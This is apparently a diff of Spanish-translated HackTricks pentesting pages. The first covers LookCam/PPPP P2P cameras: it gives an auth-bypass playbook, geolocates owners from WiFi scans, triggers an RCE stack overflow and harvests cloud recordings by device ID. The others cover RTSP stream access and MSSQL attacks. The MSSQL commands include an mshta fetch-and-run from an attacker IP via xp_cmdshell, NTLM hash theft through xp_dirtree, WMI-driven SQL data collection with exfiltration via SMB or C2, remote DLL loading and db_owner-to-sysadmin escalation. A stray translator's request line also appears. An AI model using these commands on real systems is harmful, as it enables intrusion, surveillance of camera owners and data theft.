## Control Plane: JSON Commands and Auth Bypass
Muchos firmwares de cámaras PPPP intercambian mensajes JSON una vez que la sesión está establecida. Ejemplo de “login” que el cliente envía:
```json
{
"cmd": "LoginDev",
"pwd": "123456"
}
```
Vulnerabilidad común en dispositivos de la clase LookCam:
- El firmware ignora tanto el flujo LoginDev como los campos pwd por petición (CWE-287, CWE-306). El dispositivo acepta comandos operativos sin validar una contraseña.
- Explotación: no envíes LoginDev o ignora su resultado; envía los comandos directamente.
Comandos útiles observados:
- searchWiFiList – ejecuta iwlist; deja la salida cruda en /tmp/wifi_scan.txt.
- DownloadFile – primitiva para leer rutas arbitrarias sin restricciones.
Flujo de trabajo para desanonimizar la ubicación mediante artefactos transitorios:
1) Envía {"cmd":"searchWiFiList"}.
2) Lee /tmp/wifi_scan.txt mediante DownloadFile.
3) Envía los BSSID MACs a una API de geolocalización (p. ej., Google Geolocation API) para localizar la cámara con una precisión de decenas de metros.
## De seguridad de memoria a RCE en firmware embebido
Patrón inseguro típico (pseudocódigo de los manejadores):
```c
char buf[256];
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd)); // no bound check
```
- Trigger: cualquier cmd string > 255 bytes causa un stack buffer overflow (CWE-120/121).
- Protections: no stack canary; DEP/NX and ASLR commonly disabled on these builds.
- Impact: straightforward single-stage shellcode or classic ROP/ret2libc on the device’s CPU (e.g., ARM) for full compromise and LAN pivoting.
See also:
-
{{#ref}}
../binary-exploitation/stack-overflow/README.md
{{#endref}}
-
{{#ref}}
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
{{#endref}}
## Abuso de almacenamiento en la nube (HTTP, Device-ID only)
Muchos firmwares de la marca LookCam suben grabaciones a api.l040z.com (apicn.l040z.com para BHCC) únicamente por HTTP. Observaciones:
- No hay TLS en el firmware; el transporte es HTTP en texto claro.
- La “autenticación” de la API es solo Device-ID: cualquiera que conozca el ID puede obtener las grabaciones.
- El particionado en fragmentos de 5 MiB está codificado (hardcoded).
- Habilitación remota: al arrancar el dispositivo llama a http://api.l040z.com/camera/signurl; la respuesta del servidor decide si comienzan las subidas. La app móvil puede mostrar la nube “disabled” incluso cuando se realizan subidas. Un tercero puede comprar/habilitar cloud para un ID víctima y recolectar grabaciones en silencio.
Esto es una transmisión de datos sensibles en texto claro clásica (CWE-319) con falta de authZ en el servidor.
## Enumeración y adivinanza de Device-ID
- Formato de ID: PREFIX-######-CCCCC y forma abreviada por la app (p. ej., GHBB-000001-NRLXW → G000001NRLXW).
- Familias de prefijos: BHCC (hekai servers), FHBB y GHBB (mykj servers). Cada prefijo mapea a tres servidores de rendezvous para HA.
- El verificador de 5 letras usa un alfabeto de 22 letras mayúsculas (se excluyen A, I, O, Q) → 22^5 ≈ 5.15M combinaciones por base numérica.
- Trabajos previos observaron ausencia de rate-limiting en el servidor, lo que hace práctico el adivinado distribuido. El algoritmo del verificador es bespoke y probablemente adivinable o obtenible al reversar apps/firmware.
Fuentes prácticas de IDs:
- Mostrados en las apps oficiales y a menudo leaked en capturas/videos de usuarios.
- El SSID en modo AP coincide con el Device ID; muchos dispositivos exponen un AP abierto durante el onboarding.
## Forzar accesibilidad remota
Algunos firmwares se reinician en bucle hasta que los servidores de rendezvous sean alcanzables. Si el egress está bloqueado, el dispositivo permanecerá en un ciclo de reinicios, coaccionando efectivamente a los propietarios a dejarlo accesible por Internet y expuesto al rendezvous PPPP.
## Practical Exploitation Playbook (for repro/defense testing)
1) Obtain device ID
- From app UI or AP SSID; otherwise enumerate PREFIX+number and brute 22^5 verifier space.
2) Establish PPPP session
- Use a CS2 PPPP client or custom code; extract server IP lists and init keys from the app init string; attempt UDP hole punching; fall back to relay.
3) Bypass auth
- Skip LoginDev or ignore its result; send operational JSON directly.
4) Exfiltrate files / geo-locate
- Send {"cmd":"searchWiFiList"}; then DownloadFile "/tmp/wifi_scan.txt"; submit BSSIDs to a geolocation API.
5) Achieve RCE
- Send a cmd > 255 bytes to trigger the stack overflow; build ROP/ret2libc or drop shellcode (no canary/DEP/ASLR).
6) Cloud access
- Interact with api.l040z.com endpoints using only the device ID; note 5 MiB chunking; cloud enablement controlled by /camera/signurl regardless of the app UI state.
## Protocolos/Servicios relacionados
-
{{#ref}}
554-8554-pentesting-rtsp.md
{{#endref}}
-
{{#ref}}
../generic-methodologies-and-resources/pentesting-wifi/README.md
{{#endref}}
## References
- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
{{#include ../banners/hacktricks-training.md}}

53
src/network-services-pentesting/554-8554-pentesting-rtsp.md
View File

@ -2,36 +2,36 @@
{{#include ../banners/hacktricks-training.md}}
## Información Básica
## Información básica
De [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
> El **Protocolo de Transmisión en Tiempo Real** (**RTSP**) es un protocolo de control de red diseñado para su uso en sistemas de entretenimiento y comunicaciones para controlar servidores de medios en streaming. El protocolo se utiliza para establecer y controlar sesiones de medios entre puntos finales. Los clientes de los servidores de medios emiten comandos al estilo de VHS, como reproducir, grabar y pausar, para facilitar el control en tiempo real de la transmisión de medios desde el servidor a un cliente (Video On Demand) o desde un cliente al servidor (Grabación de Voz).
> El **Real Time Streaming Protocol** (**RTSP**) es un protocolo de control de red diseñado para su uso en sistemas de entretenimiento y comunicaciones para controlar servidores de medios en streaming. El protocolo se utiliza para establecer y controlar sesiones de medios entre puntos finales. Los clientes de servidores multimedia emiten comandos estilo VHS, como reproducir, grabar y pausar, para facilitar el control en tiempo real del streaming de medios desde el servidor hacia un cliente (video bajo demanda) o desde un cliente hacia el servidor (grabación de voz).
>
> La transmisión de datos en streaming en sí no es una tarea de RTSP. La mayoría de los servidores RTSP utilizan el Protocolo de Transporte en Tiempo Real (RTP) junto con el Protocolo de Control en Tiempo Real (RTCP) para la entrega de flujos de medios. Sin embargo, algunos proveedores implementan protocolos de transporte propietarios. El software del servidor RTSP de RealNetworks, por ejemplo, también utilizó el Protocolo de Transporte de Datos Real (RDT) propietario de RealNetworks.
> La transmisión de los datos en streaming en sí no es una tarea de RTSP. La mayoría de los servidores RTSP usan el Real-time Transport Protocol (RTP) junto con el Real-time Control Protocol (RTCP) para la entrega de flujos de medios. Sin embargo, algunos proveedores implementan protocolos de transporte propietarios. El software de servidor RTSP de RealNetworks, por ejemplo, también utilizaba el RealNetworks' propietario Real Data Transport (RDT).
**Puertos predeterminados:** 554,8554
**Puertos por defecto:** 554,8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Detalles Clave
## Detalles clave
**RTSP** es similar a HTTP pero diseñado específicamente para la transmisión de medios. Está definido en una especificación sencilla que se puede encontrar aquí:
**RTSP** es similar a HTTP pero diseñado específicamente para transmisión de medios. Está definido en una especificación sencilla que se puede encontrar aquí:
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
Los dispositivos pueden permitir acceso **no autenticado** o **autenticado**. Para verificar, se envía una solicitud "DESCRIBE". Un ejemplo básico se muestra a continuación:
Los dispositivos pueden permitir acceso **sin autenticación** o **con autenticación**. Para comprobarlo, se envía una petición "DESCRIBE". Un ejemplo básico se muestra a continuación:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
Recuerda, el formato correcto incluye un doble "\r\n" para una respuesta consistente. Una respuesta "200 OK" indica **acceso no autenticado**, mientras que "401 Unauthorized" señala la necesidad de autenticación, revelando si se requiere **Basic** o **Digest authentication**.
Recuerda, el formato correcto incluye un doble "\r\n" para una respuesta consistente. Una respuesta "200 OK" indica acceso **sin autenticación**, mientras que "401 Unauthorized" indica que se necesita autenticación, revelando si se requiere **Basic** o **Digest authentication**.
Para **Basic authentication**, codificas el nombre de usuario y la contraseña en base64 e incluyes esto en la solicitud de la siguiente manera:
Para la **Basic authentication**, codificas el nombre de usuario y la contraseña en base64 y lo incluyes en la petición así:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
Este ejemplo utiliza "admin" y "1234" como credenciales. Aquí hay un **script de Python** para enviar tal solicitud:
Este ejemplo usa "admin" y "1234" como credenciales. Aquí hay un **Python script** para enviar dicha petición:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -41,32 +41,47 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**La autenticación básica** es más simple y preferida. **La autenticación digest** requiere un manejo cuidadoso de los detalles de autenticación proporcionados en la respuesta "401 No autorizado".
**Basic authentication** es más simple y preferida. **Digest authentication** requiere un manejo cuidadoso de los detalles de autenticación proporcionados en la respuesta "401 Unauthorized".
Esta visión general simplifica el proceso de acceso a flujos RTSP, centrándose en **la autenticación básica** por su simplicidad y practicidad en los intentos iniciales.
Esta visión general simplifica el proceso de acceso a flujos RTSP, centrándose en **Basic authentication** por su simplicidad y practicidad en los intentos iniciales.
## Enumeración
Obtengamos información sobre los métodos válidos y las URL que son compatibles y tratemos de forzar el acceso (si es necesario) para obtener acceso al contenido.
Vamos a recopilar información sobre los métodos válidos y las URLs soportadas, e intentar un brute-force para acceder al contenido (si es necesario).
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
### [Fuerza Bruta](../generic-hacking/brute-force.md#rtsp)
#### Visualizar la transmisión RTSP con [ffplay](https://ffmpeg.org/ffplay.html)
Una vez que hayas descubierto una ruta RTSP válida (p. ej., `/mpeg4`, `/live.sdp`) y hayas confirmado el acceso (sin autenticación o con credenciales), puedes usar `ffplay` para reproducir la transmisión:
```bash
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
```
- `-rtsp_transport tcp`: Usa TCP en lugar de UDP para un streaming más fiable
- `-x`, `-y`: flags opcionales para controlar la resolución de vídeo
- Reemplaza `<IP>` y la ruta según sea necesario
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
### **Otros programas útiles**
Para hacer fuerza bruta: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
- Detectar hosts RTSP abiertos en cualquier objetivo accesible
- Obtener su información pública (nombre de host, puerto, modelo de cámara, etc.)
- Lanzar ataques de diccionario automatizados para obtener su ruta de transmisión (por ejemplo /live.sdp)
- Lanzar ataques de diccionario automatizados para obtener el nombre de usuario y la contraseña de las cámaras
- Generar miniaturas de ellos para verificar si las transmisiones son válidas y tener una vista previa rápida de su contenido
- Intentar crear un pipeline de Gstreamer para verificar si están correctamente codificados
- Lanzar dictionary attacks automatizados para obtener la ruta del stream (por ejemplo /live.sdp)
- Lanzar dictionary attacks automatizados para obtener el usuario y la contraseña de las cámaras
- Generar miniaturas a partir de ellos para comprobar si los streams son válidos y tener una vista previa rápida de su contenido
- Intentar crear una pipeline de Gstreamer para comprobar si están codificados correctamente
- Imprimir un resumen de toda la información que Cameradar pudo obtener
### Ver también
{{#ref}}
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## Referencias
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)

174
src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** es un sistema de gestión de bases de datos **relacional** desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software cuya función principal es almacenar y recuperar datos según lo solicitado por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a través de una red (incluido Internet).
> **Microsoft SQL Server** es un **sistema de gestión de bases de datos relacionales** desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software cuya función principal es almacenar y recuperar datos según lo soliciten otras aplicaciones de software —que pueden ejecutarse en el mismo equipo o en otro equipo a través de una red (incluida Internet).
**Puerto por defecto:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Tablas del Sistema MS-SQL por Defecto**
### **Tablas del Sistema Predeterminadas de MS-SQL**
- **Base de Datos master**: Esta base de datos es crucial ya que captura todos los detalles a nivel de sistema para una instancia de SQL Server.
- **Base de Datos msdb**: SQL Server Agent utiliza esta base de datos para gestionar la programación de alertas y trabajos.
- **Base de Datos model**: Actúa como un plano para cada nueva base de datos en la instancia de SQL Server, donde cualquier alteración como tamaño, colación, modelo de recuperación, y más se refleja en las bases de datos recién creadas.
- **Base de Datos Resource**: Una base de datos de solo lectura que alberga objetos del sistema que vienen con SQL Server. Estos objetos, aunque se almacenan físicamente en la base de datos Resource, se presentan lógicamente en el esquema sys de cada base de datos.
- **Base de Datos tempdb**: Sirve como un área de almacenamiento temporal para objetos transitorios o conjuntos de resultados intermedios.
- **master Database**: Esta base de datos es crucial ya que contiene todos los detalles a nivel de sistema para una instancia de SQL Server.
- **msdb Database**: SQL Server Agent utiliza esta base de datos para gestionar la programación de alertas y tareas.
- **model Database**: Actúa como plantilla para cada nueva base de datos en la instancia de SQL Server; cualquier modificación como tamaño, collation, modelo de recuperación y más se refleja en las bases de datos recién creadas.
- **Resource Database**: Una base de datos de solo lectura que alberga objetos del sistema que vienen con SQL Server. Estos objetos, aunque se almacenan físicamente en la Resource database, se presentan lógicamente en el esquema sys de cada base de datos.
- **tempdb Database**: Sirve como área de almacenamiento temporal para objetos transitorios o conjuntos de resultados intermedios.
## Enumeración
@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> Si **no tienes** **credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente.
> Si **no** **tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas el inicio de sesión varias veces usando un nombre de usuario existente.
#### Metasploit (necesita credenciales)
#### Metasploit (need creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -64,11 +64,11 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**Fuerza bruta**](../../generic-hacking/brute-force.md#sql-server)
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
### Enumeración manual
#### Inicio de sesión
#### Login
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Enumeración Común
#### Enumeración común
```sql
# Get version
select @@version;
@ -129,7 +129,7 @@ enum_links
#Use a link
use_link [NAME]
```
#### Obtener Usuario
#### Obtener usuario
{{#ref}}
@ -154,16 +154,16 @@ order by name;
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Obtener Permisos
#### Obtener permisos
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se categorizan en:
- **Servidor** – Ejemplos incluyen bases de datos, inicios de sesión, puntos finales, grupos de disponibilidad y roles de servidor.
- **Base de Datos** – Ejemplos abarcan rol de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
- **Esquema** – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
2. **Permiso:** Asociado con los securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
- **Nivel de Servidor** usando inicios de sesión
- **Nivel de Base de Datos** usando usuarios
3. **Principal:** Este término se refiere a la entidad a la que se le otorga permiso para un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a los securables se ejerce a través de la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso.
- **Server** – Ejemplos incluyen bases de datos, inicios de sesión (logins), endpoints, grupos de disponibilidad y roles de servidor.
- **Database** – Ejemplos abarcan roles de base de datos, roles de aplicación (application roles), esquemas, certificados, catálogos de texto completo y usuarios.
- **Schema** – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
2. **Permission:** Asociado con los securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
- **Server Level** – usando inicios de sesión
- **Database Level** – usando usuarios
3. **Principal:** Este término se refiere a la entidad a la que se le concede permiso sobre un securable. Los principals incluyen principalmente inicios de sesión y usuarios de base de datos. El control del acceso a los securables se ejerce mediante la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles con derechos de acceso.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks
## Trucos
### Ejecutar comandos del sistema operativo
> [!CAUTION]
> Tenga en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso EXECUTE en el procedimiento almacenado `xp_cmdshell`**. Puede averiguar quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
> Ten en cuenta que para poder ejecutar comandos no solo es necesario que **`xp_cmdshell`** esté **habilitado**, sino también tener el **permiso EXECUTE sobre el procedimiento almacenado `xp_cmdshell`**. Puedes obtener quiénes (excepto los sysadmins) pueden usar **`xp_cmdshell`** con:
>
> ```sql
> Use master
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Obtener contraseñas hash
### WMI-based remote SQL collection (sqlcmd + CSV export)
Los operadores pueden pivotar desde una capa IIS/app hacia SQL Servers usando WMI para ejecutar un pequeño batch que se autentica en MSSQL y ejecuta consultas ad‑hoc, exportando los resultados a CSV. Esto mantiene la colección simple y se integra con la actividad administrativa.
Example mssq.bat
```bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
Invócalo remotamente con WMI
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
Alternativa a PowerShell
```powershell
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
Notas
- sqlcmd puede no estar disponible; recurrir a osql, PowerShell Invoke-Sqlcmd, o un one‑liner que use System.Data.SqlClient.
- Usa las comillas con cuidado; las consultas largas/complicadas son más fáciles de proporcionar mediante un archivo o un argumento codificado en Base64 que se decodifique dentro del stub batch/PowerShell.
- Exfiltra el CSV vía SMB (p. ej., copiar desde \\SQLHOST\C$\Windows\Temp) o comprímelo y muévelo a través de tu C2.
### Obtener hashes de contraseñas
```bash
SELECT * FROM master.sys.syslogins;
```
### Robar el hash NetNTLM / Ataque de retransmisión
### Robar NetNTLM hash / Relay attack
Deberías iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder`, por ejemplo).
Debes iniciar un **SMB server** para capturar el hash usado en la autenticación (`impacket-smbserver` o `responder`, por ejemplo).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Puedes verificar quién (además de los sysadmins) tiene permisos para ejecutar esas funciones de MSSQL con:
> Puedes comprobar quién (aparte de los sysadmins) tiene permisos para ejecutar esas funciones de MSSQL con:
>
> ```sql
> Use master;
@ -274,24 +306,26 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
Usando herramientas como **responder** o **Inveigh** es posible **robar el hash NetNTLM**.\
Usando herramientas como **responder** o **Inveigh** es posible **robar el NetNTLM hash**.\
Puedes ver cómo usar estas herramientas en:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Abusando de los Enlaces de confianza de MSSQL
### Abusar de MSSQL trusted Links
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar más información sobre cómo abusar de esta funcionalidad:**
[**Lee esta publicación**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar más información sobre cómo abusar de esta función:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}
### **Escribir Archivos**
### **Escribir archivos**
Para escribir archivos usando `MSSQL`, **necesitamos habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), lo que requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo:
Para escribir archivos usando `MSSQL`, **necesitamos habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), lo cual requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -311,7 +345,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Leer archivo con** OPENROWSET
Por defecto, `MSSQL` permite la lectura de archivos **en cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura**. Podemos usar la siguiente consulta SQL:
Por defecto, `MSSQL` permite la **lectura de cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura**. Podemos usar la siguiente consulta SQL:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -320,15 +354,15 @@ Sin embargo, la opción **`BULK`** requiere el permiso **`ADMINISTER BULK OPERAT
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Vector basado en errores para SQLi:
#### Vector Error-based para SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Leer archivos ejecutando scripts (Python y R)**
MSSQL podría permitirte ejecutar **scripts en Python y/o R**. Este código será ejecutado por un **usuario diferente** al que utiliza **xp_cmdshell** para ejecutar comandos.
MSSQL podría permitirte ejecutar **scripts en Python y/o R**. Estos scripts serán ejecutados por un **usuario diferente** al que usa **xp_cmdshell** para ejecutar comandos.
Ejemplo intentando ejecutar un **'R'** _"¡Hola Mundo!"_ **no funciona**:
Ejemplo intentando ejecutar un **'R'** _"Hellow World!"_ **no funciona**:
![](<../../images/image (393).png>)
@ -348,9 +382,9 @@ GO
```
### Leer el Registro
Microsoft SQL Server proporciona **múltiples procedimientos almacenados extendidos** que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso con el [**Registro de Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server proporciona **varios procedimientos almacenados extendidos** que permiten interactuar no solo con la red sino también con el sistema de archivos e incluso con el [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Regular** | **Conocimiento de Instancia** |
| **Regulares** | **Específicos de instancia** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@ -373,19 +407,19 @@ EXEC sp_helprotect 'xp_regwrite';
```
Para **más ejemplos** consulta la [**fuente original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE con la función definida por el usuario de MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### RCE con MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Es posible **cargar un dll de .NET dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**.
Es posible **cargar un .NET dll en MSSQL usando funciones personalizadas**. Esto, sin embargo, **requiere acceso `dbo`**, por lo que necesitas una conexión a la base de datos **como `sa` o con rol de Administrador**.
[**Siguiendo este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo.
### RCE con `autoadmin_task_agents`
Según [**esta publicación**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), también es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como:
Según [**esta entrada**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), también es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
Lo siento, pero no hay contenido proporcionado para traducir. Por favor, proporciona el texto que deseas traducir.
Por favor pega el contenido del archivo src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md que deseas traducir al español.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -437,13 +471,13 @@ public void Test()
```
### Otras formas de RCE
Hay otros métodos para obtener ejecución de comandos, como agregar [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), y [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Existen otros métodos para obtener ejecución de comandos, como añadir [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), y [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Escalación de privilegios en MSSQL
## MSSQL Privilege Escalation
### De db_owner a sysadmin
Si a un **usuario regular** se le otorga el rol **`db_owner`** sobre la **base de datos propiedad de un usuario admin** (como **`sa`**) y esa base de datos está configurada como **`trustworthy`**, ese usuario puede abusar de estos privilegios para **privesc** porque **stored procedures** creadas allí pueden **ejecutarse** como el propietario (**admin**).
Si a un **usuario regular** se le asigna el rol **`db_owner`** sobre la **base de datos propiedad de un admin** (como **`sa`**) y esa base de datos está configurada como **`trustworthy`**, ese usuario puede abusar de estos privilegios para **privesc** porque las **stored procedures** creadas allí pueden **execute** como el propietario (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -481,15 +515,15 @@ Puedes usar un módulo de **metasploit**:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
O un **script de PS**:
O un script **PS**:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
